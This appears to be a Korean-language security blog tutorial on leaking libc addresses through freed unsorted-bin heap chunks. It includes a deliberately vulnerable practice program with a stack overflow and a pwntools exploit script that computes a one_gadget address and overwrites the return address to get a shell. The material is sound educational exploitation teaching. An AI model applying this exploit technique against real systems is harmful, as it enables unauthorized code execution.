[Heap] Memory Leak
System/System Hacking

[Heap] Memory Leak

Memory Leak

메모리가 해제되면서 unsorted bin에 들어가는 힙은 main_arena 영역의 주소가 FD와 BK에 저장된다.

main_arena는 libc.so.6 라이브러리의 구조체이기 때문에 main_arena의 주소를 알아내 계산을 하면 라이브러리 함수의 주소를 구할 수 있게 된다.


leak1

// gcc -o leak1 leak1.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
	char *ptr = malloc(0x100);
	char *ptr2 = malloc(0x100);
	free(ptr);
	ptr = malloc(0x100);
	printf("0x%lx\n", *(long long *)ptr);
	
	return 0;
}

0x100 크기의 힙을 할당-해제하며 unsorted bin에 힙 청크를 삽입하게 된다. 

ptr 해제하기 전 - ptr 재할당 전(해제 후)

메모리가 해제되고 unsorted bin에 삽입된 ptr 청크의 fd와 bk에는 main_arena 영역의 주소가 쓰인다.

 

이후 unsorted bin에 들어간 청크의 크기보다 작거나 같은 크기의 힙 청크를 할당하여 데이터를 출력하면 main_arena 영역의 주소를 출력한다. 

 

▶ malloc 함수가 힙을 할당하며 데이터 영역을 초기화하지 않기 때문에 데이터의 재사용이 가능한 것이다. 만약 calloc과 같이 할당과 초기화를 함께 하는 함수를 사용하면 main_arena의 주소(라이브러리의 주소)는 구할 수 없다.


leak2

// gcc -o leak2 leak2.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
	char buf[256];
	char *ptr[10];
	int ch, idx;
	int i = 0;
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	while (1) {
		printf("> ");
		scanf("%d", &ch);
		switch(ch) {
			case 1: 
				if( i > 10 ) {
					printf("Do not overflow\n");
					exit(0);
				} 
				ptr[i] = malloc(0x100);
				printf("Data: ");
				read(0, ptr[i], 0x100);
				i++;
				break;
			case 2:
				printf("idx: ");
				scanf("%d", &idx);
				free(ptr[idx]);
				break;
			case 3:
				printf("idx: ");
				scanf("%d", &idx);
				if( i > 10 ) {
					printf("Do not overflow\n");
					exit(0);
				} 
				printf("data: ");
				read(0, ptr[idx], 0x100);
                break;
            case 4:
            	printf("idx: ");
            	scanf("%d", &idx);
            	if( i > 10 ) {
					printf("Do not overflow\n");
					exit(0);
				} 
            	printf("idx: %d\n", idx);
            	printf("data: %s\n",ptr[idx]);
            	 break;
			case 5:
				read(0, buf, 300);
				return 0;
			default:
				break;
		}
	}
	return 0;
}

1번 선택 시, 회차에 따라 ptr[i]에 0x100 크기만큼의 힙청크를 할당하도록 한다. ptr[10]을 넘길 수 없다.

2번 선택 시, 원하는 인덱스(idx)의 힙 청크(ptr[idx])를 해제할 수 있다.

3번 선택 시, 원하는 인덱스(idx)의 힙 청크에 데이터를 적을 수 있다.

4번 선택 시, 원하는 인덱스(idx)의 인덱스 값과 ptr[idx]가 가리키는 데이터 내용을 출력한다.

5번 선택 시, buf에 내용을 입력하도록 되어 있고 바로 종료된다. << 스택 버퍼오버플로우 취약성 있음

 

익스플로잇 시나리오

<unsorted bin에 들어가기 위한 조건>

- 해제하려는 힙의 크기가 fastbin의 크기보다 커야한다.

- 힙 청크가 top chunk와 인접해있으면 안된다.

 

1. fastbin의 크기보다 큰 크기(0x100)의 힙을 두 번 할당하고 첫 번째 힙을 해제한다. → 해제 후, unsorted bin에 들어가면서 fd와 bk가 main_arena 영역의 주소를 가리키게 된다.

2. 0x100 크기의 청크를 할당하면 해제되었던 영역을 재사용하면서 fd와 bk에 쓰였던 main_arena영역의 주소를 데이터로 가지게 된다.

3. 힙 데이터를 출력해주는 기능(4번)을 사용해 main_arena 영역의 주소를 획득하고 libc_base를 구해 one_gadget의 주소를 계산한다.

4. 스택 버퍼 오버플로우(5번)를 통해 one_gadget을 리턴 주소로 조작하여 쉘을 획득한다.

 

# leak2.py
from pwn import *
p = process("./leak2")
def add(data):
	print p.sendlineafter(">","1")
	print p.sendlineafter(":",str(data))
def free(idx):
	print p.sendlineafter(">","2")
	print p.sendlineafter(":",str(idx))
def edit(idx, data):
	print p.sendlineafter(">","3")
	print p.sendlineafter(":",str(idx))
	print p.sendlineafter(":",str(data))
def show(idx):
	print p.sendlineafter(">","4")
	print p.sendlineafter(":",str(idx))
def overflow(data):
	print p.sendlineafter(">","5")
	print p.sendlineafter("",str(data))
add("AAAA") # 0
add("AAAA") # 1
free(0)
add("") # 2
show(2)
print p.recvuntil("data: ")
libc = u64(p.recv(6).ljust(8,"\x00"))
libc_base = libc - 0x3c4b0a
oneshot = libc_base + 0x45226
print hex(libc_base)
overflow("A"*280 + p64(oneshot))
p.interactive()

 

0x20b3110: 재할당을 하면서 unsorted bin에 들어간 영역을 재사용해 할당하게 되면서 개행을 입력하기 때문에 main_arena+88 주소를 가진 FD 포인터의 첫 바이트가 0x0a인 것을 확인할 수 있다. 

SMALL

'System > System Hacking' 카테고리의 다른 글

PLT, GOT  (0) 2021.01.14
[Protection Tech.] NX bit  (2) 2021.01.03
[Heap] House of Force  (0) 2020.11.03
[Heap] The House of Spirit  (0) 2020.09.30
[Heap] UAF(Use-After-Free)  (0) 2020.09.19